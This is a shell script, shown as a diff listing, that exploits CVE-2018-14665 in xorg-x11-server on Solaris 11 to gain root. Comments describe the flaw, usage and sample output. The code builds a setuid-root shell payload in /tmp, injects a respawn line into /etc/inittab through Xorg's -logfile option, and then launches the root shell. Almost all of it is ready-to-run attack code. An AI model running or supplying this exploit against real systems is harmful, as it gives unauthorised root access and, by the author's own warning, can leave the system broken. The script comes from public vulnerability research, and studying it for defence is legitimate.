| | 1 | + | #!/bin/sh |
| | 2 | + | |
| | 3 | + | # |
| | 4 | + | # raptor_solgasm - xorg-x11-server LPE via Solaris inittab |
| | 5 | + | # Copyright (c) 2018 Marco Ivaldi <[email protected]> |
| | 6 | + | # |
| | 7 | + | # A flaw was found in xorg-x11-server before 1.20.3. An incorrect permission |
| | 8 | + | # check for -modulepath and -logfile options when starting Xorg. X server |
| | 9 | + | # allows unprivileged users with the ability to log in to the system via |
| | 10 | + | # physical console to escalate their privileges and run arbitrary code under |
| | 11 | + | # root privileges (CVE-2018-14665). |
| | 12 | + | # |
| | 13 | + | # "In video games, this is what they call respawning" -- Nick Sax |
| | 14 | + | # |
| | 15 | + | # This exploit targets /etc/inittab in order to escalate privileges to root |
| | 16 | + | # on Solaris 11 (no need to be connected to a physical console). Messing with |
| | 17 | + | # inittab is considerably dangerous and you may trash your system, however the |
| | 18 | + | # other potential vectors (cron, passwd, sudo, ld.config, etc.) either don't |
| | 19 | + | # work or are even worse. Still, DON'T RUN UNLESS YOU KNOW WHAT YOU ARE DOING! |
| | 20 | + | # |
| | 21 | + | # See also: |
| | 22 | + | # https://github.com/0xdea/exploits/blob/master/openbsd/raptor_xorgasm |
| | 23 | + | # |
| | 24 | + | # Usage: |
| | 25 | + | # raptor@stalker:~$ chmod +x raptor_solgasm |
| | 26 | + | # raptor@stalker:~$ ./raptor_solgasm |
| | 27 | + | # [...] |
| | 28 | + | # Now please be patient for a few minutes... |
| | 29 | + | # [...] |
| | 30 | + | # To avoid trashing the system, remember to: mv /etc/inittab.old /etc/inittab |
| | 31 | + | # -rw-r--r-- 1 root staff 13870 nov 24 22:01 /etc/inittab |
| | 32 | + | # -rw-r--r-- 1 root sys 967 nov 24 20:01 /etc/inittab.old |
| | 33 | + | # -rwsrwxrwx 1 root root 1249080 nov 24 22:05 /tmp/pwned |
| | 34 | + | # root@stalker:/etc# id |
| | 35 | + | # uid=0(root) gid=0(root) |
| | 36 | + | # |
| | 37 | + | # Vulnerable platforms (setuid Xorg 1.19.0 - 1.20.2): |
| | 38 | + | # Oracle Solaris 11 X86 [tested on 11.4.0.0.1.15.0 with Xorg 1.19.5] |
| | 39 | + | # Oracle Solaris 11 SPARC [untested] |
| | 40 | + | # |
| | 41 | + | |
| | 42 | + | echo "raptor_solgasm - xorg-x11-server LPE via Solaris inittab" |
| | 43 | + | echo "Copyright (c) 2018 Marco Ivaldi <[email protected]>" |
| | 44 | + | |
| | 45 | + | # prepare the payload |
| | 46 | + | cat << EOF > /tmp/solgasm |
| | 47 | + | cp /bin/zsh /tmp/pwned # fallback in case gcc is not available |
| | 48 | + | echo "main(){setuid(0);setgid(0);system(\"/bin/bash\");}" > /tmp/pwned.c |
| | 49 | + | gcc /tmp/pwned.c -o /tmp/pwned |
| | 50 | + | chmod 4777 /tmp/pwned |
| | 51 | + | EOF |
| | 52 | + | chmod +x /tmp/solgasm |
| | 53 | + | |
| | 54 | + | # trigger the bug |
| | 55 | + | PWN=x$(cat /dev/urandom | env LC_CTYPE=C tr -dc '[:lower:]' | fold -3 | head -1) |
| | 56 | + | cd /etc |
| | 57 | + | Xorg -fp "${PWN}::respawn:/tmp/solgasm" -logfile inittab :1 & |
| | 58 | + | sleep 5 |
| | 59 | + | pkill Xorg |
| | 60 | + | |
| | 61 | + | # run the setuid shell |
| | 62 | + | echo |
| | 63 | + | echo "Now please be patient for a few minutes..." |
| | 64 | + | echo |
| | 65 | + | until [ -u /tmp/pwned ]; do sleep 1; done |
| | 66 | + | echo "To avoid trashing the system remember to mv /etc/inittab.old /etc/inittab" |
| | 67 | + | ls -l /etc/inittab* |
| | 68 | + | ls -l /tmp/pwned |
| | 69 | + | sleep 1 |
| | 70 | + | /tmp/pwned |
| | 71 | + | |
